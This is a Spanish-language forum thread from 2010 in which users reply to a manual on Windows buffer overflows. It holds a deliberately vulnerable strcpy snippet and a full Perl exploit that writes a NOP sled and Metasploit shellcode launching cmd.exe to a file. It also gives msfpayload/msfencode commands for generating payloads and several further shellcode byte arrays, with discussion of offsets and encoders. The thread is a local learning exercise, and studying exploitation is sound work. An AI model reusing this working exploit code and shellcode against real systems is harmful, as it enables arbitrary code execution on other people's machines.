[Manual] Buffer Overflow en Windows

Iniciado por ikary, 8 Febrero 2010, 19:11 PM

0 Miembros y 2 Visitantes están viendo este tema.

PHAMTOM

#20
  :D :D :D :D :D ...

Muy bueno ikary, buenisimo el manual,ahi termine de aprender Local BoF , para la gente que no se lleva bien con C++ , o C , aca le dejo un exploit para este programa vulnerable, que ejecuta el payload CMD , programado el perl ..

Funciona para buffer 700 , ya que cambie el 300 por 700 en el programa vulnerable C++

{
char buff[700] = "Datos";
strcpy(buff,cptr);
printf("%s\n\n",buff);
return 0;
}

EXPLOIT :

#1----------------------------------------------------------------------------
my $nopp="\x90" x 263;
my $shellcode =
"\x89\xe0\xd9\xc0\xd9\x70\xf4\x59\x49\x49\x49\x49\x49\x49" .
"\x49\x49\x49\x49\x49\x43\x43\x43\x43\x43\x43\x37\x51\x5a" .
"\x6a\x41\x58\x50\x30\x41\x30\x41\x6b\x41\x41\x51\x32\x41" .
"\x42\x32\x42\x42\x30\x42\x42\x41\x42\x58\x50\x38\x41\x42" .
"\x75\x4a\x49\x49\x6c\x4d\x38\x4d\x59\x45\x50\x47\x70\x43" .
"\x30\x45\x30\x4f\x79\x4b\x55\x46\x51\x49\x42\x50\x64\x4c" .
"\x4b\x50\x52\x50\x30\x4e\x6b\x51\x42\x44\x4c\x4c\x4b\x50" .
"\x52\x46\x74\x4e\x6b\x42\x52\x45\x78\x44\x4f\x4c\x77\x50" .
"\x4a\x46\x46\x50\x31\x49\x6f\x44\x71\x4f\x30\x4e\x4c\x47" .
"\x4c\x43\x51\x51\x6c\x44\x42\x46\x4c\x51\x30\x4f\x31\x48" .
"\x4f\x44\x4d\x47\x71\x4b\x77\x49\x72\x4a\x50\x50\x52\x51" .
"\x47\x4c\x4b\x51\x42\x46\x70\x4e\x6b\x42\x62\x47\x4c\x47" .
"\x71\x48\x50\x4c\x4b\x47\x30\x42\x58\x4d\x55\x4f\x30\x44" .
"\x34\x51\x5a\x45\x51\x48\x50\x42\x70\x4e\x6b\x43\x78\x45" .
"\x48\x4c\x4b\x50\x58\x47\x50\x47\x71\x4e\x33\x4a\x43\x47" .
"\x4c\x47\x39\x4e\x6b\x45\x64\x4c\x4b\x43\x31\x48\x56\x46" .
"\x51\x49\x6f\x44\x71\x4b\x70\x4c\x6c\x49\x51\x48\x4f\x46" .
"\x6d\x47\x71\x48\x47\x46\x58\x4d\x30\x42\x55\x48\x74\x43" .
"\x33\x51\x6d\x48\x78\x47\x4b\x43\x4d\x51\x34\x50\x75\x4d" .
"\x32\x42\x78\x4c\x4b\x42\x78\x45\x74\x45\x51\x4a\x73\x51" .
"\x76\x4e\x6b\x44\x4c\x42\x6b\x4e\x6b\x51\x48\x45\x4c\x46" .
"\x61\x4b\x63\x4c\x4b\x45\x54\x4e\x6b\x46\x61\x4a\x70\x4b" .
"\x39\x47\x34\x45\x74\x45\x74\x51\x4b\x51\x4b\x50\x61\x46" .
"\x39\x51\x4a\x42\x71\x4b\x4f\x4d\x30\x42\x78\x51\x4f\x42" .
"\x7a\x4e\x6b\x46\x72\x48\x6b\x4f\x76\x43\x6d\x43\x5a\x46" .
"\x61\x4c\x4d\x4d\x55\x4c\x79\x43\x30\x47\x70\x43\x30\x50" .
"\x50\x45\x38\x45\x61\x4c\x4b\x42\x4f\x4d\x57\x4b\x4f\x4b" .
"\x65\x4f\x4b\x49\x70\x47\x6d\x47\x5a\x45\x5a\x51\x78\x4f" .
"\x56\x4f\x65\x4f\x4d\x4f\x6d\x49\x6f\x4e\x35\x45\x6c\x47" .
"\x76\x51\x6c\x44\x4a\x4b\x30\x4b\x4b\x4b\x50\x44\x35\x43" .
"\x35\x4f\x4b\x43\x77\x46\x73\x50\x72\x42\x4f\x50\x6a\x47" .
"\x70\x51\x43\x49\x6f\x4b\x65\x45\x33\x42\x4d\x42\x44\x45" .
"\x50\x44\x4a\x41\x41";



#1---------------------------------------------------------------------------
my $exploit=$nopp.$shellcode;
my $file = "archivo.txt";
open( $FILE, ">$file" );
print $FILE $exploit;
close( $FILE );

print "Archivo.txt generado con exito,prosiga habriendo la aplicacion vulnerable.-\n"








PD : NO ANDA LA WEB DE PAYLOADS DE METASPLOIT :'(, LA TUBE QUE GENERAR DESDE EL PROGRAMA MSF.



PHAMTOM
Miran a cualquier ventana, mientras su pánico emana
y nubla su visión mi calma es pura precisión
cargo munición y miro tranquilo
ya ni respiro desde al ático os vigilo sigo al filo os tengo a tiro!

La kitchner quiere tanto a los pobres,que cada vez,tiene más

AlbertoBSD

Hola que tal H-PHAMTOM

Una preguntilla, por que cambiar el buffer de 300 a 700?

Saludos


Donaciones
1Coffee1jV4gB5gaXfHgSHDz9xx9QSECVW

PHAMTOM

#22
Cita de: Anon en 16 Febrero 2010, 06:23 AM
Hola que tal H-PHAMTOM

Una preguntilla, por que cambiar el buffer de 300 a 700?

Saludos




Porque estuve viendo el manual y utilize el algoritmo de restar el numero del buffer desbordado, al  size del shellcode...

shellcode = 453 size
Buffer = 716 Escribiendo eip.
716-453 = 263..

Saludos..

Miran a cualquier ventana, mientras su pánico emana
y nubla su visión mi calma es pura precisión
cargo munición y miro tranquilo
ya ni respiro desde al ático os vigilo sigo al filo os tengo a tiro!

La kitchner quiere tanto a los pobres,que cada vez,tiene más

AlbertoBSD

a ok, era eso entonces, aunque si para el calc.exe se ocupo 164 bytes por que para el cmd.exe se necesitan 453 xD, segun recuerdo para el cmd.exe se necesita un mínimo de 29 bytes o algo asi recuerdo segun el texto de rojodos que se cita en el mismo documento de ikary.

Eso de general shellcodes mediante herramientas, esta bien cuando tenemos prisa, sin embargo en etapas de aprendizaje es bueno saber de donde vienen.

Seria interesante usar esa misma shellcode que muestras sin nececidad de cambiar el tamaño del buffer del programa vulnerable

Saludos

Donaciones
1Coffee1jV4gB5gaXfHgSHDz9xx9QSECVW

PHAMTOM

Si voy a probar,el temá es que en la pagina de metasploit,en la parte de payloads,creo que se encuentran mejores payloads,pero como esta offline en este momento la pagina , tube que inprovisar de donde sacar una  :xD,por lo que acudi a metasploit framework 3 , con el comando :

./msfpayload windows/exec CMD=cmd Raw| ./msfencode -e x86/alpha_mixed -t perl


y para la calc :


./msfpayload windows/exec CMD=calc Raw | ./msfencode -e x86/alpha_mixed -t perl

Mañana nos escribimos,me voy a ZzZ...

Saludos,PHAMTOM.-


Miran a cualquier ventana, mientras su pánico emana
y nubla su visión mi calma es pura precisión
cargo munición y miro tranquilo
ya ni respiro desde al ático os vigilo sigo al filo os tengo a tiro!

La kitchner quiere tanto a los pobres,que cada vez,tiene más

AlbertoBSD

He ikary, pues no se cual era el problema con los parámetros y el Olly, pero ya ahorita te digo que solo ocupas saber con cuantos bytes sobrescribes EIP y con eso solo ocuparías las direcciones de system y de JMP esp

Con eso he logrado ejecutar el cmd.exe. Claro que tube problemas, lo explico en el post anterior.
Donaciones
1Coffee1jV4gB5gaXfHgSHDz9xx9QSECVW

ikary

Gracias Anon ^^
Ya he estado mirando el otro post, voy a probar lo que dices a ver, por que la verdad es que me quedé con las ganas de sacarlo por parametros. :P

PHAMTOM:
Citarcreo que se encuentran mejores payloads

Realmente es todo lo contrario, si no, fijate en tu shellcode:
"\x89\xe0\xd9\xc0\xd9\x70\xf4\x59\x49\x49\x49\x49\x49\x49" .
"\x49\x49\x49\x49\x49\x43\x43\x43\x43\x43\x43\x37\x51\x5a" .
"\x6a\x41\x58\x50\x30\x41\x30\x41\x6b\x41\x41\x51\x32\x41" .
"\x42\x32\x42\x42\x30\x42\x42\x41\x42\x58\x50\x38\x41\x42" .
"\x75\x4a\x49\x49\x6c\x4d\x38\x4d\x59\x45\x50\x47\x70\x43" .
"\x30\x45\x30\x4f\x79\x4b\x55\x46\x51\x49\x42\x50\x64\x4c" .
"\x4b\x50\x52\x50\x30\x4e\x6b\x51\x42\x44\x4c\x4c\x4b\x50" .
"\x52\x46\x74\x4e\x6b\x42\x52\x45\x78\x44\x4f\x4c\x77\x50" .
"\x4a\x46\x46\x50\x31\x49\x6f\x44\x71\x4f\x30\x4e\x4c\x47" .
"\x4c\x43\x51\x51\x6c\x44\x42\x46\x4c\x51\x30\x4f\x31\x48" .
"\x4f\x44\x4d\x47\x71\x4b\x77\x49\x72\x4a\x50\x50\x52\x51" .
"\x47\x4c\x4b\x51\x42\x46\x70\x4e\x6b\x42\x62\x47\x4c\x47" .
"\x71\x48\x50\x4c\x4b\x47\x30\x42\x58\x4d\x55\x4f\x30\x44" .
"\x34\x51\x5a\x45\x51\x48\x50\x42\x70\x4e\x6b\x43\x78\x45" .
"\x48\x4c\x4b\x50\x58\x47\x50\x47\x71\x4e\x33\x4a\x43\x47" .
"\x4c\x47\x39\x4e\x6b\x45\x64\x4c\x4b\x43\x31\x48\x56\x46" .
"\x51\x49\x6f\x44\x71\x4b\x70\x4c\x6c\x49\x51\x48\x4f\x46" .
"\x6d\x47\x71\x48\x47\x46\x58\x4d\x30\x42\x55\x48\x74\x43" .
"\x33\x51\x6d\x48\x78\x47\x4b\x43\x4d\x51\x34\x50\x75\x4d" .
"\x32\x42\x78\x4c\x4b\x42\x78\x45\x74\x45\x51\x4a\x73\x51" .
"\x76\x4e\x6b\x44\x4c\x42\x6b\x4e\x6b\x51\x48\x45\x4c\x46" .
"\x61\x4b\x63\x4c\x4b\x45\x54\x4e\x6b\x46\x61\x4a\x70\x4b" .
"\x39\x47\x34\x45\x74\x45\x74\x51\x4b\x51\x4b\x50\x61\x46" .
"\x39\x51\x4a\x42\x71\x4b\x4f\x4d\x30\x42\x78\x51\x4f\x42" .
"\x7a\x4e\x6b\x46\x72\x48\x6b\x4f\x76\x43\x6d\x43\x5a\x46" .
"\x61\x4c\x4d\x4d\x55\x4c\x79\x43\x30\x47\x70\x43\x30\x50" .
"\x50\x45\x38\x45\x61\x4c\x4b\x42\x4f\x4d\x57\x4b\x4f\x4b" .
"\x65\x4f\x4b\x49\x70\x47\x6d\x47\x5a\x45\x5a\x51\x78\x4f" .
"\x56\x4f\x65\x4f\x4d\x4f\x6d\x49\x6f\x4e\x35\x45\x6c\x47" .
"\x76\x51\x6c\x44\x4a\x4b\x30\x4b\x4b\x4b\x50\x44\x35\x43" .
"\x35\x4f\x4b\x43\x77\x46\x73\x50\x72\x42\x4f\x50\x6a\x47" .
"\x70\x51\x43\x49\x6f\x4b\x65\x45\x33\x42\x4d\x42\x44\x45" .
"\x50\x44\x4a\x41\x41";


Y en la de Anon:

"\x55\x8B\xEC\x33\xC9\x51\x83\xEC\x04\xC6\x45\xF8\x63\xC6\x45\xF9\x6D\xC6\x45\xFA\x64\x88\x4D\xFB\x8D\x45\xF8\x50\xBB\xc7\x93\xbf\x77\xFF\xD3"


Hay demasiada diferencia para dos shellcodes que hacen lo mismo ¿no crees? ^^

Para mi manual utilicé las shellcodes de metasploit para hacerlo mas rapido, ya que el manual se basaba mas bien en el concepto de BoF que en la creacion de shellcodes (el manual de Rojodos ya lo explicaba con bastante claridad)
Te recomiendo, si no lo has echo aun, que leas el manual de Rojodos y aprendas a crear tus propias shellcodes, ya que pocas veces vas a encontrar 700 bytes en un programa explotable real.

CitarMuy bueno ikary, buenisimo el manual,ahi termine de aprender Local BoF

Gracias PHAMTOM, me alegra que te haya servido ^^

Un saludo

Ivanchuk

Buenas gente,

Solo decir que phantom la paso por un encoder, por eso le quedo ese chorizo ;D.
Cita de: PHAMTOM en 16 Febrero 2010, 07:09 AM
./msfpayload windows/exec CMD=cmd Raw| ./msfencode -e x86/alpha_mixed -t perl
Phantom, dejala asi nomas si no tenes ninguna restriccion de entrada del programa vulnerable. El unico caracter que te molesta es el null.

Muy buen manual Ikary ::).
Sólo quien practica lo absurdo puede lograr lo imposible.

Join us @ http://foro.h-sec.org

PHAMTOM

Cita de: Ivanchuk en 16 Febrero 2010, 15:55 PM
Buenas gente,

Solo decir que phantom la paso por un encoder, por eso le quedo ese chorizo ;D.
Cita de: PHAMTOM en 16 Febrero 2010, 07:09 AM
./msfpayload windows/exec CMD=cmd Raw| ./msfencode -e x86/alpha_mixed -t perl
Phantom, dejala asi nomas si no tenes ninguna restriccion de entrada del programa vulnerable. El unico caracter que te molesta es el null.

Muy buen manual Ikary ::).

Es qué por eso mismo le hago un " encode " , por los caracteres null's.

PHAMTOM
Miran a cualquier ventana, mientras su pánico emana
y nubla su visión mi calma es pura precisión
cargo munición y miro tranquilo
ya ni respiro desde al ático os vigilo sigo al filo os tengo a tiro!

La kitchner quiere tanto a los pobres,que cada vez,tiene más

AlbertoBSD

#29
ese alpha_mixed solo te devuelve una Shellcode Alfanumerica, por eso te sale asi.

Por lo que veo es bastante facil generar shellcodes xDD

Anon@localhost % msfpayload windows/exec CMD=cmd Raw | msfencode -a x86 -b '\x00' -t c
[*] x86/shikata_ga_nai succeeded, final size 144

unsigned char buf[] =
"\x33\xc9\xb1\x1e\xba\xb1\xfc\x90\xfb\xdd\xc1\xd9\x74\x24\xf4"
"\x5e\x31\x56\x0f\x83\xc6\x04\x03\x56\xba\x1e\x65\x07\x54\x9a"
"\x86\xf8\xa4\xa8\xc2\xc4\x2f\xd2\xc9\x4c\x2e\xc4\x59\xe3\x28"
"\x91\x01\xdc\x49\x4e\xf4\x97\x7d\x1b\x06\x46\x4c\xdb\x90\x3a"
"\x2a\x1b\xd6\x45\xf3\x56\x1a\x4b\x31\x8d\xd1\x70\xe1\x76\x1e"
"\xf2\xec\xfc\x41\xd8\xef\xe9\x18\xab\xe3\xa6\x6f\xf4\xe7\x39"
"\x9b\x80\x0b\xb1\x5a\x7c\xba\x99\x78\x86\x7f\x7e\xb0\x70\x1f"
"\xd7\xd6\xf7\x99\xe7\x9d\x48\x29\x83\xd2\x54\x9c\x18\x7a\x6d"
"\x57\xe6\xf8\xad\x0d\x47\x97\xdd\x5b\x63\x38\x76\xc3\x92\x4c"
"\x88\xa4\x95\xb6\xf6\x27\x0e\x39\xf3";


Esa también sirve son 144 bytes

Solo se usa el -e x86/alpha_mixed cuando hay un filtro alfanumérico

Saludos
Donaciones
1Coffee1jV4gB5gaXfHgSHDz9xx9QSECVW